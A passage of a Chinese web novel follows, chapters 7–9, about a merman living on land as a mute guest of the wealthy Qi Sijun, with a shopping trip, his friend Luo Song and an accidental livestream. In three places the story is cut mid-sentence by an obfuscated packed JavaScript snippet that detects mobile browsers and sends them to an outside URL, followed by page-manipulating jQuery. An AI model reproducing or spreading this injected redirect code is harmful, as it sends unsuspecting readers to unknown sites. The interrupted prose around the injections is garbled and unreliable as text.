［一碗汤］：在哪呢在哪呢，给个定位吧活爹。 ［一碗汤］：小狗泪眼汪汪.jpg ［SY］：毙了，勿扰。 齐思筠眉尾一挑，开启免打扰模式。 世界清净了。 “总共23套衣服，由于您是资深会员，打88折，折后共计三十万零三十元，”店员结完账，朝着齐思筠露出一个公式化的微笑，“先生，您的卡。” “ok，”齐思筠接过卡，抽了张便签，龙飞凤舞地留下几排字，“麻烦喊人送到这里，别搞错了。” 店员：“好的先生，请您放心。” 棠溪生从试衣间里出来，快步走到齐思筠身边，轻轻戳了戳齐思筠的肩膀。 “小生，刚刚看的所有衣服其实都很适合你。”齐思筠打趣道：“毕竟脸在江山在，你披个麻袋都好看。” 棠溪生听不懂“麻袋”是什么黑话，但隐约感觉齐思筠在夸他，他轻轻抿唇，面不改色地抽回手指，郑重点头，摸了摸裤兜里的平谷手机—— 不太会用。 更舍不得用。 但要想成为一个合格的人类，就必须从手机学起。 因为齐思筠一路上都抱着手机，在跟人聊天，泛着白光的屏幕晃眼，饶是棠溪生视力绝佳，也只捕捉到了“大美人”、“祸害”、“警告”之类的词。 具体说的是什么，他没能看清楚，看清楚的那部分也不太懂。 棠溪生暗中定下一个小目标：回去好好研究手机，争取三天熟悉，七天摸透！ 齐思筠出言打断了棠溪生的思考，“走吧小生，我们去超市。” 棠溪生点点头，跟着齐思筠七拐八拐，下了扶梯，走进地下一层的超市。 别墅里不缺物资，喊人买就是一个电话的事，但线下购物还是亲自体验更快乐，二人扫荡了一大堆东西，主要还是日用品和食物。 齐思筠每次征询棠溪生的意见，“这个喜欢吗？要买吗？想吃吗？” 除了冷冻的海鲜，棠溪生几乎都点了头，脾气好得没话说。 转眼间，两个小时过去了。 齐思筠随便挑了家看着不错的甜品店，给棠溪生点了份提拉米苏，给自己点了杯咖啡，结果他刚把大包小包放在桌边，裤兜里的某样东西就开始狂震。 大意了。 旧手机上还有张卡没拔。 ［罗宋汤］：心甘情愿为人服务可不像你，没想到你小子整挺好，都玩起金屋藏娇来了。 ［罗宋汤］：不枉我快马加鞭赶回来，这不看不知道，一看吓一跳，竟然是没见过的新面孔！ ［罗宋汤］：哎哟，的确有点东西。 齐思筠当即回头，先看了眼坐在角落里的棠溪生，然后挪动视线，看到了正好推门进来的红发青年。 那人冲他晃了晃手机，露出八颗白花花的大牙，齐思筠面无表情，猛地低头，在屏幕上敲出一个短短的句子。 ［SY］：对，金屋藏娇。 7. 上岸的第7天 罗宋不论是同性缘还是异性缘都很好，通常三两句就能让人心生好感，靠的就是堪比城墙的厚脸皮。 他一进店就直奔齐思筠那桌，抽开椅子，笑嘻嘻地坐下了。 齐思筠不慌不忙，喝了口咖啡。 “竹子，这就是你不来接我的理由？”罗宋仔细打量了一番棠溪生，“真挺漂亮，够我在阎王爷那儿领十张爱的号码牌，刷刷投胎资格了。” 棠溪生对忽然冒出来的罗宋没什么感觉，因为是齐思筠的朋友，不是自己认识的人，他仍然在安静地品尝着甜品，动作优雅大方，完全看不出是第一次吃。 眼前的小块棕黄相间，特地做成了爱心形，口感香甜绵软，略微泛苦但不腻。 人类的食物真好吃。 呀咪呀咪^o^ 冷白灯光打在棠溪生的正脸上，纤长的黑睫低垂，双瞳宛如琉璃般剔透，眸底一抹银蓝光晕流转，薄唇偏淡红色。 漂亮得好似真人版bjd。 他一头墨色长发半扎，用的是齐思筠的白色耳机线，看起来居然也不突兀，反倒平添了几分烟火气，宛如圣洁的神明落入凡尘。 “阎王爷不见得乐意收你。”齐思筠眉心微皱，提醒道：“罗宋，别乱说话。” “呸呸呸，我的我的，嘴太快了。”罗宋凑到齐思筠身边，压低声音说：“老实交代，你是不是见色……嗯，对人家一见钟情了？” 齐思筠正经道：“爱美之心人皆有之。” “你姐说是‘对象’，你可骗不了我，”罗宋脸上写满了不信二字，“真演员，假对象？先婚后爱剧本？” “你的想象力一如既往丰富，”齐思筠冷笑，“不过，就算是演泼天狗血剧也轮不到你叭叭，爬远点儿。” 身为发小，他当然知道罗宋的性取向，跟他一样。 两个人都弯得像一盘蚊香似的。 罗宋的颜控属性还不算严重，但齐思筠由于全家颜值在线，还有一些小的兴趣爱好，比如搞搞cosplay，买买周边，审美已经彻底腌入味了。 毫无疑问，齐思筠是个惊天动地的颜狗。 “哟，这就护上了，”罗宋朝着圆桌对面的棠溪生伸出手，“你好啊小帅哥，我叫罗宋，是齐思筠的发小。” 发小？ 看齐思筠和他很熟的样子，应该是很好的朋友吧o.O？ 棠溪生放下勺子，抽出一张纸巾擦嘴，看向面前的红发男子，比划了个你好的手势，他眸光清澈明亮，无比真诚，叫人一看就心生好感。 两只手象征性地握在一起，片刻后分离，罗宋扭头看齐思筠，眼神透露出千言万语，“……啊？” 不说话的吗？ “把你脑子里的太平洋抖落出去，我和小生是正常朋友关系，”齐思筠甩了个白眼给罗宋，“他家里不方便，在我这里暂住，顺便帮忙顶一顶我爸妈的死亡凝视。” “哦，原来如此，”罗宋仍旧半信半疑，“所以，这位小帅哥叫什么名字？” 齐思筠嘴角下压，俨然不是很想回答这个问题，“棠溪生。” 罗宋真心实意地夸赞道：“好名字好名字！比我的可好听多了！” 棠溪生这会儿把甜品吃完了，没法继续埋头，也插不进去话，毕竟人设是个哑巴，他只好紧盯平整的桌面发呆，放空的目光聚焦于一处，像是要用视线把白色桌面上唯一的黑点给凿穿。 好尴尬好尴尬好尴尬。 谁来救救鱼。 “我还要带小生逛街，你最近不是缺钱吗？”齐思筠弯腰俯身，捡起大包小包一丢，险些甩到罗宋脸上，“帮我拎包，两小时五百。” 棠溪生随之起身，待在齐思筠旁边，双眼扑闪，充满期待的光。 人类的金币意外好赚呢。 他可以！ “齐少爷，老奴刚刚为了见您二位，打了辆黑车，五百都不够报销的。”罗宋下意识接过购物袋，坐地起价道：“一万，少一个子儿都不干。” “出息，”齐思筠听笑了，“成交。” 罗宋手里拎不下，把最后一个大包挂到脖子上，笑眯眯地拉开门，“少爷，少奶奶，二位外边儿请——” 模样要多狗腿就有多狗腿。 齐思筠眼神示意棠溪生跟上，“走吧小生，我们去逛逛别的店子。” 原本他和棠溪生逛街，不打算麻烦许叔，没想到罗宋一落地就赶着来当牛马，这么看来，估计地址也是问许叔要的。 区区一万。 就当是大发慈悲，救济难民了。 棠溪生点点头，跟上前方齐思筠的脚步，稍微落后了一些，摆出个暗中观察的姿态，几秒后，齐思筠把他拉回了身边，正好挡住那侧罗宋的视线。 罗宋鬼叫：“我去，忽然感觉有一股神秘力量遮住了我的双眼！” “再乱看就把你眼珠子剁了。”齐思筠皮笑肉不笑，低声发出警告：“免费服务，剁一赠一。” 罗宋当即跳脚，“至于吗竹子？我们俩多少年的交情了……多看一眼，唐小帅哥也不会少块肉的！” 听到这个称呼，棠溪生轻轻一扯齐思筠的衣角，摇摇头。 齐思筠眉梢扬起无语的弧度，“棠溪。” 罗宋不明所以，“什么？” “复姓‘棠溪’，不是‘唐’，海棠的棠，溪水的溪，”齐思筠耐心解释完，恢复了原本的语气，“你出去学习一趟，学得脑子都还给小学语文老师了？” “要不赶明儿我们带个锅，登门拜访一下他，看看老爷子喜不喜欢吃脑沟浅的脑花。” “脑花啊，那倒也……”罗宋顿了顿，否认道：“不，你才没脑子，我这是凭借自身努力，堂堂正正地获得了毕业证！” 齐思筠从鼻腔里挤出个气音，“那你好棒棒。” 棠溪生听不懂，但棠溪生舒服了。 他的名字是爸妈精挑细选起的，不能随随便便改姓。 齐思筠，一个超级大好人。 更是一个好的观察对象！ 罗宋没走几步路，又转过头说：“一大早上就逛吃逛吃，不闲腻的慌，要不是这块儿商圈是你家投的，开得早，现在恐怕还在路边喝西北风吧——竹子，这一看就是你兴奋了才干得出来的破事儿啊。” 棠溪生侧耳聆听。 兴奋？ 意思是齐思筠带他出来玩，自己反而很兴奋？ “没话找话，你爸爸我乐意，多余的嘴可以捐给需要帮助的人。”齐思筠说完才意识到不对，赶紧朝棠溪生解释：“抱歉，小生，我不是那个意思。” 他恨不得当场为自己的莽撞自罚三杯，眼刀唰唰唰飞向罗宋。 罗宋：“？？？” 自个儿嘴快了，凭什么刀我？ 棠溪生摇了摇头。 他三指轻捻，两手拇指和食指搭成圆圈，互相套作一个环形，表示没关系。 罗宋刚刚差点冷汗都下来了，见状揉了揉眉心，“竹子，你在哪捡的宝贝啊？我下次也去找个，这脾气忒好了点儿。” 齐思筠难得附和：“确实。” 棠溪生白皙漂亮，整个人软绵绵的，脾气好得离谱，齐思筠有时候都怀疑这人是他收藏的满墙棉花娃娃中的一只，成了精以后特地来报恩的。 让人看起来就想摸摸头，rua一把…… 不，他不想:D 因为根本就不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607035|172102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哑巴，所以才不会觉得冒犯，棠溪生心虚地挪开视线，下意识去摸脖子上的项链，结果摸了个空。 忘记了。 他已经上岸了。 因为不好带上岸，棠溪生把他最喜欢的珍珠项链，连同其他亮晶晶的首饰一起，都留在了大砗磲房里。 这才第二天，他竟然感到无比怀念。 要不然哪天找个时间回家一趟，把东西都挂在身上带出来？ 但是该放在哪呢？ 齐思筠的家很大，但是凭空多了点东西，只要保姆收拾一下，很快就能发现。 还是跟以前一样，放一放，等半年期满，离开时再做决定吧。 棠溪生敲了敲脑袋，思绪乱飞，最终决定放弃思考，以不变应万变。 他可真聪明=v= “小生，”齐思筠注意到棠溪生的动作，伸出手在那双发直的桃花眼前招了招，“想什么呢，这么入迷？” 棠溪生朝齐思筠露出一个谜之微笑。 齐思筠：“……？” 果然很迷。 但刚刚那个动作是在捞项链吗？ 难道是值钱的首饰也被人偷了，正在默默流泪？ 抛开不能说话这一点，从长相、身材和气质上看，棠溪生实在不像是穷困人家的小孩，毕竟能做发尾挑染，还没褪色泛黄，一看就是用心在养护。 到底跟家里闹成什么样，才中途辍学，还产生了跳海轻生的念头？ 齐思筠脑补出了十万字的狗血家庭伦理剧，从真假少爷到庶嫡家产争夺战，更加怜爱了。 棠溪生跟齐思筠对上视线，发觉后者眼神里满是大写的心疼，满头雾水。 短短几秒钟，发生了什么呀？ “我说少爷、少奶奶，咱能不整眉目传情这套了吗？还是在大庭广众，旁边有个帅哥的情况下，”罗宋摸了摸腮帮子，露出个牙酸的表情，“虽说是朝廷的赈灾粮，但有点儿塞得慌啊。” 齐思筠：“屁话这么多，不爱挣钱就滚蛋。” 罗宋立刻严肃道：“皇上，您实在是折煞奴才了，咱家这是在活跃气氛呢。” 齐思筠笑了，“小宋子，朕许久不曾逛街，允你短暂恢复本职身份，推荐几个首饰品牌，看看实力。” “喳，设计师罗宋已上线，竭诚为您服务，”罗宋掰着手指头开数，“首先排除这里的，隔壁的‘uestari’不错，近两年兴起的‘矢笛’挺有设计感，价格也比较亲民。” “对了，按照你一贯喜欢的风格，我再推荐一个‘菲拉之芯’，在国外好评如潮，就是不知道国内开没开。” 齐思筠默默记住，“谢了。” 罗宋搓搓手，“先生，您看我喉咙说冒烟了，有小费施舍一下吗？” “没有。”齐思筠认真道：“入乡随俗，你从国外带回来的那些陋习要不得，要不你回去跟叔叔要个小费试试？” 罗宋疯狂摇头，“还小费，他能把我小废了！” 棠溪生一直有留心听旁边两个人说话，忽然发出轻轻的一声笑。 如果人类都是齐思筠和他的朋友这样，那还挺有意思的。 三个人，一个多金的选择困难症，一个无法发表意见的拖延症，一个没地位的拎包侠，转悠了半天还在九层的商城上下来回，活像是遇到了鬼打墙。 棠溪生悄悄伸手，捏了捏发软的腿。 他似乎有些缺水。 罗宋觉得这样下去实在不是个办法，主动道：“我去找许叔放包，劳烦少爷少奶奶屈尊降贵，挪个地儿，等下回来给你们带奶茶。” “废话这么多，”齐思筠瞥见了棠溪生的小动作，没有阻拦，“快去快回。” 8. 上岸的第8天 罗宋动作麻利，很快就联系上了等在停车场的许管家，解放了他被大包小包所束缚的双手，最后带着三杯不同口味的奶茶回来了。 齐思筠和棠溪生站在大门口等他。 “竹子爸爸，”罗宋双手递出奶茶，态度恭敬，“请享用我为你带来的夏日冰凉。” 齐思筠接过奶茶，“这么迅速？” 罗宋一脸悲痛，“太热了，能把我烤化了贴在路边铲不下来，我着急回来吹空调啊。” 齐思筠：“行。” “小生生，你的奶茶，”罗宋笑着把第二杯奶茶递给棠溪生，“我和齐思筠都还没喝，不合口味的话你可以跟我们换。” 齐思筠冷脸，“不喜欢就跟我换，别理他。” 棠溪生比划了个谢谢，接过奶茶，插上吸管，他猛嗦了一口，然后开始吸溜。 嚼嚼嚼。 这黑色小圆子怎么这么Q弹捏^o^ 棠溪生一头长发，发尾挑染，俊逸出尘，齐思筠身形高挑，眉眼深邃，罗宋一头红发，笑容阳光。 三个人颜值都不低，大大方方地站在门口，聚众喝奶茶，还没事走两步，导致周围的行人都有意无意地打量着他们。 但他们都下意识忽略了那些目光。 齐思筠嗦了口冰凉的奶茶，拉着棠溪生进了uestari，然后参考了罗宋的意见，给棠溪生选了好几条项链，结果以他的眼光，看什么都觉得合适。 要不是太累赘的话，齐思筠恨不得把整个店的项链全套在棠溪生纤细白皙的脖子上，“小生，头再往右边偏一点。” 棠溪生乖巧地歪头，撩开长发，目光逐渐迷离。 回来了。 这该死的、熟悉的感觉又回来了，只不过这次试的不是衣服，是项链。 齐思筠嘀咕：“全买？” “呔，住脑！”罗宋试图制止齐思筠这壕无人性的举动，“齐少爷，你知道你现在像什么吗？” “小生，你稍微撩一下头发，”齐思筠忙着给棠溪生戴项链，再转向罗宋时，温柔的语气变得冷漠，“像什么？” 罗宋吞下在喉咙里挠痒痒的那颗百香果，“你像为了博红颜一笑，大手一挥，灭掉诸国的昏君。” 齐思筠认真调整着项链的位置，漫不经心道：“灭就灭了。” 罗宋鼓掌，“芜湖，更像了。” 齐思筠懒得搭理罗宋，“看看这条，喜欢吗？” 棠溪生恋恋不舍地放下奶茶，缓步走到全身镜面前。 项链细长，整体呈现花瓣形状，正中是一颗明亮的绿宝石，宛如流星般璀璨，三颗小宝石作为点缀镶嵌在旁边，闪耀着淡淡的光泽。 这条项链跟他的珍珠项链一样漂亮。 棠溪生双眼放光，越看越满意，转头朝着齐思筠露出灿烂的笑容。 齐思筠对着店员示意，“这条也要了。” 罗宋：“少爷英明，少奶奶有福啦！” 齐思筠对这个半路杀出来的气氛组无语到了极点，“一边儿去，八字没一撇的事。” 棠溪生还在欣赏项链，没关注别人。 罗宋百无聊赖地往墙壁上一靠，“那你就是有贼心，没贼胆，还没落实到行动上，这不像你啊竹子，读个研究生而已，真转性了？” 高考完以后，齐思筠跟罗宋几乎天天都泡在清吧里，微醺怡情，直到一封录取通知书杀到家里，他才彻底收敛，回归现实。 大学时，齐思筠除了吃喝拉撒和必要的学业与工作，闲暇时间会打游戏、逛漫展和去音乐节，但只要外出，身边就一定有人陪同，而这些人的共同点就是长得好看。 因为出手大方，很多人都想跟齐思筠交个朋友，多玩几天，最后全被他用各种理由拒绝了。 连朋友都谈不上。 就只能算是各种类型搭子而已，最多再有一两个共同的兴趣爱好，不会产生任何感情，好聚好散的结局早已注定。 对此，齐思筠给罗宋的解释是：“……酒搭子、游戏搭子和漫展搭子罢了，我不信你从小到大没几个厕所搭子呢？” 有理有据，令人信服，甚至他本人都是厕所搭子大军的一员，只不过相处的时间最长久。 但罗宋还是觉得不可思议。 挑选首饰和换项链这么小的事，明明店员可以代劳，干嘛非得亲自上手？ 典型的关心过度。 肉眼可见的占有欲大爆发。 罗宋是个心里藏不住话的，直接发问：“皇上，您现在一没有喝酒，二没有如厕，三没有中二病复发，小生算您哪门子的‘搭子’呢？” 齐思筠凉飕飕地甩了罗宋一眼，“住我隔壁的房搭子，跟我的棉花娃娃一样，这个回答满意吗？” 罗宋张大了嘴，“哇哦。” “奶茶钱我出了，包括你接下来的生活费，”齐思筠捏着奶茶吸管，往罗宋闲不住的嘴里一怼，“但是我有两个要求。” 罗宋疯狂点头，“唔唔唔！” 齐思筠抓着罗宋的肩头，轻轻开口：“第一，管好你的嘴，别在许叔、王婶、我姐，尤其是我爸妈面前乱说话，小生现在就是我对象。” “咳、咳咳！”罗宋差点呛到，赶紧把吸管拔出来，朝嘴上比划，“这个你放心，只要封口费到位，一切都好说。” 齐思筠缓缓用力，“别急，我还没说完。” 罗宋肩膀一痛，吱哇乱叫。 齐思筠掀起眼皮，露出个饱含威胁意味的笑容，“第二，收起你的小心思，别随便试探我，收了我姐的钱也不行……‘小生’这个称呼，只有我能喊，懂？” 罗宋浑身一抖，“知道了，哥。” /// 等齐思筠结完账，拉着镜子前面打起瞌睡的棠溪生出了uestari，已经到了第三遍响铃的午饭时间。 “主人主人，快……” 铃声刚开了个头，就被齐思筠摁掉。 大意了，没有闪。 不管型号，平谷手机数据互碰能自动传输，导致铃声如影随影。 棠溪生第二次听到这个铃声，没忍住笑，他这次伸手一摸，脖子上不再空荡荡的，那里挂着新买的小鱼项链。 接着，他后知后觉地发现一件事：那个红色短头发的发小不见了，就连放在店里的半杯奶茶也不翼而飞。 ——是有事先走了吗？ 齐思筠看了眼时间，一点多，“小生，你是想回家吃饭，还是在外面吃？” 齐家吃午饭的时间就是会稍晚一些，现在回去也来得及。 棠溪生当即把那位无关紧要的发小抛到脑后，他纠结了几秒，最终比划了个“随便”的手势，表示都可以。 齐思筠艰难开口：“随便？” 来人，一刀切了他的选择困难症！ 在没有预约的情况下，选餐厅就像开盲盒，容易花大价钱找苦吃。 这种盲盒不如留着回家开。 齐思筠给许管家发了条消息，神色坚毅道：“走，我们回家吃。” 看来王婶做饭是真的好吃，出门在外都让人惦记着这一口。 棠溪生没意见，轻轻啊了一声。 /// 齐思筠一进门，就直接往沙发上一瘫，“王婶，饿——” 棠溪生拘谨地在齐思筠旁边坐下。 许管家跟在后面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607036|172102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，包括送到家门口的衣服，手里拎得满满当当，“少爷，东西放在哪个房间？” “吃的放冰箱。”齐思筠拉着棠溪生一起躺倒，补充道：“衣服、首饰和日用品都放在小生房间，谢谢许叔。” “好的少爷。”许管家扭头就走。 王婶在厨房里，听到齐思筠的声音，探出头应道：“难得听到小筠主动喊饿，你和小糖逛了一早上，累了吧？你们再休息会儿，饭菜马上就热好了。” 齐思筠不可见的血条回了五点，45度仰望天花板，“好，谢谢王婶。” 糖是那种圆滚滚、甜蜜蜜的东西，他很久以前吃过，早上出门之前，齐思筠在嚼玉米糖，顺手投喂了棠溪生一颗。 糖很甜，糖好。 王婶是投喂他们的大厨，王婶也好。 王婶叫他“小糖”，可行。 棠溪生这次没有扯齐思筠的衣角。 齐思筠一骨碌翻了个身，直勾勾地盯着棠溪生的眼睛，喉结轻轻滚动，“小生，我发现你这个人有点儿双标啊。” “双标”是什么？ 一股淡淡的皂香夹杂着阳光的味道，猛然间逼近棠溪生的鼻尖，他大脑一空，反应过来，这是独属于齐思筠的气息。 L型沙发虽大，但同时躺下两个成年男性已经是奇迹了，再后退会摔下去，棠溪生睫毛轻轻颤动，屏住呼吸，强迫自己不往后缩，疑惑地望向齐思筠。 他忽然回想起一件事。 鲛人五感出众，即使到了陆地上也仍然拥有极佳的耳力。 棠溪生当时人在镜子前，耳朵却精准地捕捉到了齐思筠的声音，“……‘小生’只有我能喊。” 他听得无比清楚。 如果“双标”是指他允许王婶随便喊他的名字，却不准那位发小乱喊，那么齐思筠不让罗宋喊他“小生”…… 这人其实也挺双标的o.O？ 想通这一茬，棠溪生越发理直气壮，就差叉腰给齐思筠看了，“啊！” 齐思筠看着棠溪生，不知怎么的，猛然回忆起自己对罗宋说过的话，啼笑皆非，“行，我俩都是双标狗，汪汪汪。” 你才是山间灵活的狗。 而我，是水里一条自由的鱼！ 棠溪生手脚灵活地从沙发上翻身跃起，径直坐到餐桌边，赌气似的朝着齐思筠轻轻哼了一声。 怎么会生气？是他站得不够高，哪里做得不够好吗？ 齐思筠霎时冒出了满头问号。 王婶照常不上桌吃饭，棠溪生本来就不会开口说话，导致齐思筠一头雾水，只好偶尔自说自话，调节气氛。 当真是“食不言”。 好好的一顿午饭，就在这异常安静的氛围当中结束了。 /// 下午，二人没再出门，齐思筠直接把自己锁在了房间里，别墅的隔音效果非常好，以至于棠溪生根本听不到任何动静。 鲛人引以为傲的五感，第一次被现代家具给打败了。 棠溪生坐在自己房间的床上，默默反思，他刚刚在饭桌上不应该瞪齐思筠那一眼，毕竟没人知道他的身份，所以没什么好委屈的。 没事哒没事哒～ 棠溪生正要找齐思筠道歉，就听到床头柜传来嗡嗡的振动声，吓得从床上弹了起来，他回头一看，发现是手机在响，于是手脚并用地挪过去。 屏幕上方显示有一条新消息。 ［SY］：黄色兔子大叫.jpg 只有齐思筠接触过这部手机，这个“SY”，应该就是齐思筠。 棠溪生盯着这张动图，眨巴眨巴眼睛，模仿起了黄色兔子张嘴的动作，两秒后他笑出了声。 9. 上岸的第9天 棠溪生举着手机，在床上打了个滚，目光逐渐放空，大脑疯狂运转。 已知：他拥有了一台全新的手机，齐思筠给他发了消息，而他不太懂怎么使用手机，屏幕上的一切都很陌生。 求解：他该怎么体面地回复齐思筠？ 第一次发信息，还是需要一点小小的仪式感。 “好麻烦呀。”棠溪生把自己蜷成一团，就像平常在海里抱着尾巴睡觉那样，小声嘀咕了一句。 他今天早上吃了提拉米苏以后，喝了奶茶，不至于缺水，但这会儿嗓子还是干干的。 鱼不在水里，会口渴也很正常。 棠溪生想去泡澡，拉开窗帘看了眼外面的天色，烈日当空，仿佛能听见滋儿哇滋儿哇的蝉鸣，他想到最近洗澡的时间，顿时觉得现在洗澡太奇怪了，马上打消了这个念头。 但两条腿有特别的想法，棠溪生如此想着，已经走进了卫生间。 忍。 做合格人类，忍到晚上再补水。 从浴室折返，脚底有阵阵凉意传来，棠溪生想起齐思筠的嘱咐，哒哒哒跑回床边，穿好拖鞋。 他拿起水杯，正准备下楼去接水，抬眸就看到另一个床头柜上放着水壶。 还是专门装凉水的那种。 主人在家的时候，管家和保姆不可能自作主张进房间，如果是许叔进来，那么应该放下东西就离开了。 ——这水壶是齐思筠端进来的。 棠溪生咕噜咕噜喝了好几杯水，对齐思筠的好感度往上窜了一点点。 不过，齐思筠是怎么发现他爱喝水的？ 因为他喜欢喝汤？还是因为他今天捏着奶茶，两分钟不到就喝完了？ 或者是因为他早上吃饭时喝的咖啡，比吃的三明治还多？ 棠溪生陷入沉思，想不通自己到底哪里露出了马脚，想得大脑几乎要宕机了，手机再度发出嗡嗡声，震得他猛然回神，踢掉两只拖鞋，重新蹦上床。 ［SY］：小生？ ［SY］：是睡着了么。 ［SY］：午安。 棠溪生仔细阅读了齐思筠发来的三条消息，余光瞄到了水壶和水杯，又想到他在饭桌上对齐思筠哼的那一声，痛苦地抱住了头。 好尴尬。 既然齐思筠以为他睡着了，那正好可以研究下手机，消息就晚一点再回好了。 拖延症大爆发！ 棠溪生慢悠悠地挪到床头柜旁边，接着拉开抽屉，终于用手指勾出来一张薄薄的平谷手机说明书。 吃饭时，齐思筠对着空气说的，“首饰和手机原装盒，许叔应该都放在抽屉里了，方便拿取。” 棠溪生指尖摩挲着项链，在床上懒洋洋地翻了个面，把说明书摊开摆好，拿手指挨个戳开桌面上的那些app。 五花八门，五颜六色。 棠溪生自言自语：“信息，电话，音乐，设置，时钟，输入法……” 全新的概念接连不断地涌入脑海，幸好，这些东西理解起来比较简单，就是放在手机里显得很高端，需要时间来进一步适应。 鲛人的学习能力和记忆力都很出色。 别墅的网络已经自动连接，棠溪生回忆着齐思筠平常的动作，捏着手机，摸索了一个多小时，大致搞清楚了该怎么用键盘和搜索引擎，又花费了一个小时左右的时间，学习了一些基本操作，接收了关于网络的知识。 手机能把文字呈现在屏幕里，不用再一笔一划地手写，真的很神奇。 “咦，这是什么。” 棠溪生作为一条很有求知精神的鱼，略微迟疑，点开了他刚刚学习过程中遗漏的某个app。 这个软件，图标整体一团漆黑，中央的图案像是两条腿在跳芭蕾。 好奇怪。 棠溪生插上耳机，刚点进去，就被各种弹窗所震惊，有些烦躁地抓了抓头发，“注册，密码……啊，成功了！” 他小声惊呼了一下，又迅速反应过来，像做贼似的偷偷往门口看。 幸亏隔音效果好。 感谢现代家具。 棠溪生轻轻咬着半根指节，对着app生成的系统名“用户098741”开始发呆。 741。 这串数字读起来跟“齐思筠”好像哦。 他记住了这串数字，准备坐起身挖掘点别的功能，点击右上角的叉退出app，没想到这个界面根本没有大叉。 棠溪生手一滑，点到了下方的“+”。 “+”完以后，一大堆广告跟俄罗斯套娃似的，一个接一个跳了出来，动态的人物和画面极其富有视觉冲击力，占满了棠溪生的视线。 棠溪生：“？？？” 他到底点到什么了不起的东西了。 棠溪生奋力弥补，拼命点叉，手机随着他的动作轻轻摇晃两下，某个红红的按钮亮起，屏幕上方弹出一个窗口：【开启直播ovo】 手机再次晃动了两下。 【现在开始直播/等下开始直播】 他一心点叉，没注意到这排小字，结果机身一晃，屏幕上瞬间蹦出两排加粗的大字：【您已开启直播，请尽情享受您的第一次直播之旅吧～^_^】 棠溪生霎时一个鲤鱼打挺起了身，不敢置信地揉了揉眼睛。 这是什么？ 好恐怖，竟然还带强制的！ 棠溪生看着屏幕里自己的脸，简直想大叫，但他是一个安静的小哑巴，无法发声，只能憋屈地到处找关闭直播的按钮。 没想到他手一滑，脸上立刻糊了一层圣光，眼睛也变大了，屏幕上闪出两个字—— 【美颜】 棠溪生：“……” 这又是什么鬼东西啊？！ 【叮咚！检测到您的颜值超高，系统已自动将您分配到颜值赛道，即将为您关联同类型直播，进行流量推送哦～^ω^】 棠溪生：“。” “颜值超高”是夸他好看的意思吗？ 谢谢。 但“赛道”是什么？“流量推送”能干什么？他是不是上了什么不得了的贼船？ 人类的世界好危险。 鱼想回家TvT 正当棠溪生紧握手机，一脸呆滞的时候，直播间右上角的数字已经从“0”开始跳动，不一会儿就变成了“11”，弹幕陆陆续续地弹出来。 【炸鸡真好吃】：好伟大的脸，女娲毕设！ 【离异带俩娃】：复婚好吗？孩子总哭。 【快乐的小指针】：煮啵，煮啵，我要kiss你～ 【宇宙第二王子殿下】：这是哪来的小帅哥，xg新挖的宝藏吗？哟，居然还是个系统id，是新的yx手段吗？ 【穿好你的苦茶子】：对于主播的颜值，我将发表一下以下六点。 【穿好你的苦茶子】：…… 棠溪生盯着左下角忽然蹦出来的一排排文字，大脑出现了短暂的空白，他深深吸气，缓缓呼出，努力控制着面部肌肉，结果右手一个没拿稳，手机砸到了地上。 房间里传来砰的一声巨响。 地板光滑平整，多擦两遍大概能作为冰壶赛道，眨眼间，手机就顺畅无阻地溜到了床底，灵活程度堪比一条菜市场里待宰的活鱼。 完蛋了。 他的新手机！ 棠溪生咚的一声跪在地板上，侧首弯腰，伸手去勾手机，却怎么都差一点点。 “咚咚咚。” 此刻，房门被人敲响了。 齐思筠的声音隐约从门外传来，“怎么了，小生？” 没怎么。 就是可能要死翘翘了呢TvT 棠溪生急得像热锅上的蚂蚁，涨红了脸，全身跟冰凉的地板来了个亲密接触，他终于把手机救了出来，拍掉上面不存在的灰尘，坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607037|172102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在床边不停喘息。 “你没事吧小生？”齐思筠语气有些焦灼，“听得到的话吱个声？” 稍等一下，请不要关心则乱。 他貌似是个哑巴来着啊！ 经此一摔，直播竟然还没被摔得直接关闭，该说不愧是平谷手机，棠溪生没法吱声，只能装死坐回床上，解锁屏幕，结果发现直播间右上角的“11”，已经多了一位数，跳到了“126”。 【谁都别想和我重名】：这主播挺有意思啊，刚进来就给我们看黑屏？我滑下来，上一个主播在直播间睡觉，哈哈哈！ 【还我妈生脸】：能不能把美颜关掉？眼睛已经很大了，看着很别扭啊！ 【精神科医生皮主任】：不得了主播，我看你硬糖发黑，双眼无神，定是有大灾大难缠身，你需要当面看病吗？友情价，给你打八八折哦。 【精神科医生皮主任】：印堂（x 【疯狂星期四v我50】：哎哟，露脸了，原来不是抽象主播啊。 【你是年少的欢喜】：这张脸还搞什么抽象，我看你整个人就很抽象，那个“v我50”，你不如找【精神科医生皮主任】看看脑子！ 